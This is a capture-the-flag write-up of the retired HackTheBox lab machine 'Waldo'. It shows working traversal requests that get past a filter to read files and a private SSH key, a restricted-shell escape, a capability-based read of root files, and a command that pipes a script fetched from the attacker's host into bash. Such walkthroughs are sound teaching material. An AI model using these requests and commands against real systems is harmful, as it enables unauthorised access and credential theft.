This is the write-up for the box Waldo that got retired at the 15th December 2018. My IP address was 10.10.14.7 while I did this.
Let's put this in our hosts file:
10.10.10.87 waldo.htb
Starting with a Nmap scan:
nmap -sC -sV -o nmap/waldo.nmap 10.10.10.87
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
| 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
| 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook
On the web page there is some kind of List Manager where it is possible to add and delete lists:
When intercepting the functionalities of the web page with any proxy tool like Burpsuite, it becomes clear that something happens in the background.
Action | Response | POST Data |
---|---|---|
Click on Delete to delete a list | POST /fileDelete.php HTTP/1.1 | listnum=1 |
Click on Add List to add a list | POST /fileWrite.php HTTP/1.1 | listnum=1&data= |
After forwarding any delete or add function | POST /dirRead.php HTTP/1.1 | path=./.list/ |
Click on list name to read a list | POST /fileRead.php HTTP/1.1 | file=./.list/list1 |
So the lists come from the /.list directory, which returns a HTTP status code 403 Forbidden when browsing there manually. When trying to read /etc/passwd with a Directory Traversal attack it does not work, but as the fileRead.php file seems to read files on the server, we can try to read itself:
POST /fileRead.php HTTP/1.1
(...)
file=./fileRead.php
It works and outputs the contents of the PHP script. It is in JSON format and not good to read, but can be fixed with jq:
curl -s http://10.10.10.87/fileRead.php -d 'file=fileRead.php' | jq -r ."file"
<?php
if($_SERVER['REQUEST_METHOD'] === "POST"){
$fileContent['file'] = false;
header('Content-Type: application/json');
if(isset($_POST['file'])){
header('Content-Type: application/json');
$_POST['file'] = str_replace( array("../", "..\""), "", $_POST['file']);
if(strpos($_POST['file'], "user.txt") === false){
$file = fopen("/var/www/html/" . $_POST['file'], "r");
$fileContent['file'] = fread($file,filesize($_POST['file']));
fclose();
}
}
echo json_encode($fileContent);
}\:
The str_replace is the reason why the Directory Traversal attack did not work, but this can by bypassed. It replaces "../" with nothing, so using "....//" instead, it will replace one "../" and leave one "../" behind, which results in a directory traversal:
POST /fileRead.php HTTP/1.1
(...)
file=....//....//....//etc/passwd
This works and outputs the contents of /etc/passwd and thus reading files on the box is possible.
As the dirRead.php reads directories from the box, the same attack can be done on this script to enumerate the system more.
POST /dirRead.php HTTP/1.1
(...)
path=.
This shows the contents of the current directory and there are all PHP scripts and some images which means we now have the capability to enumerate directories with dirRead.php and reading files with fileRead.php.
Lets move up some directories until reaching the root (/) directory:
POST /dirRead.php HTTP/1.1
(...)
path=....//....//....//
This can also be done with curl
for easier exploitation:
curl -s http://10.10.10.87/dirRead.php -d 'path=....//....//....//' | jq
It shows a default Linux file system tree with the only thing that is different is the .dockerenv directory, which means this is a Docker container.
There is one home directory of nobody with a .ssh directory:
curl -s http://10.10.10.87/dirRead.php -d 'path=....//....//....//home/nobody/.ssh' | jq
".monitor"
"authorized_keys"
"known_hosts"
Displaying the contents of .monitor:
curl -s http://10.10.10.87/fileRead.php -d 'file=....//....//....//home/nobody/.ssh/.monitor' | jq -r ."file"
It is a private SSH key, so lets try it out with the user nobody:
ssh -i nobody.key nobody@10.10.10.87
It works and we are logged in as nobody.
This Docker container has two network interfaces:
- docker0 IP: 172.17.0.1
- enps33 IP: 10.10.10.87
When looking at the current connections with netstat -alnp
, it shows that we are connected to port 8888:
tcp 0 148 10.10.10.87:8888 10.10.14.7:33462 ESTABLISHED -
So when we connected to SSH on 10.10.10.87:22, it routed us to 172.17.0.1:8888.
Looking at listening network services:
netstat -alnp | grep LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN -
There is a connectivity between the container and the host as the SSH header is different from the initial header:
nc 10.10.10.87 22
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u3
The /home/nobody/.ssh/authorized_keys file shows that there is a user called monitor that can access the host with the key from before:
ssh -i .monitor monitor@127.0.0.1
This gives access into another box and greets us with a message that it is a Restricted Bash:
-rbash: alias: command not found
Lets look at the path what is possible to execute:
echo $PATH
/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1
Binaries in /home/monitor/bin:
- ls, most, red, nano
In /home/monitor/app-dev/ is a binary logMonitor and the directory has the source code files for this binary.
-rwxrwx--- 1 app-dev monitor 13704 Jul 24 2018 logMonitor
It is writeable by the user app-dev and members of the group monitor. Lets check if our user is in the group:
rnano /etc/passwd
monitor:x:1001:1001:User
rnano /etc/group
monitor:x:1001:
The user is in the group and thus it is possible to rewrite the file with /bin/bash:
red /bin/bash
1099016
w app-dev/logMonitor
1099016
q
After executing logMonitor it executes bash and the restricted shell is escaped. Lets modify the PATH so system binaries can be used more comfortably:
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
To get any attack surface, it is a good idea to run any Linux Enumeration Script on the box:
curl 10.10.14.7/LinEnum.sh | bash
After analyzing, there is a file that has Linux capabilities set:
/usr/bin/tac = cap_dac_read_search+ei
As the manual page describes the CAP_DAC_READ_SEARCH capability, the binary can do the following:
"Bypass file read permission checks and directory read and execute permission checks"
So it is possible to read root.txt!
/usr/bin/tac /root/root.txt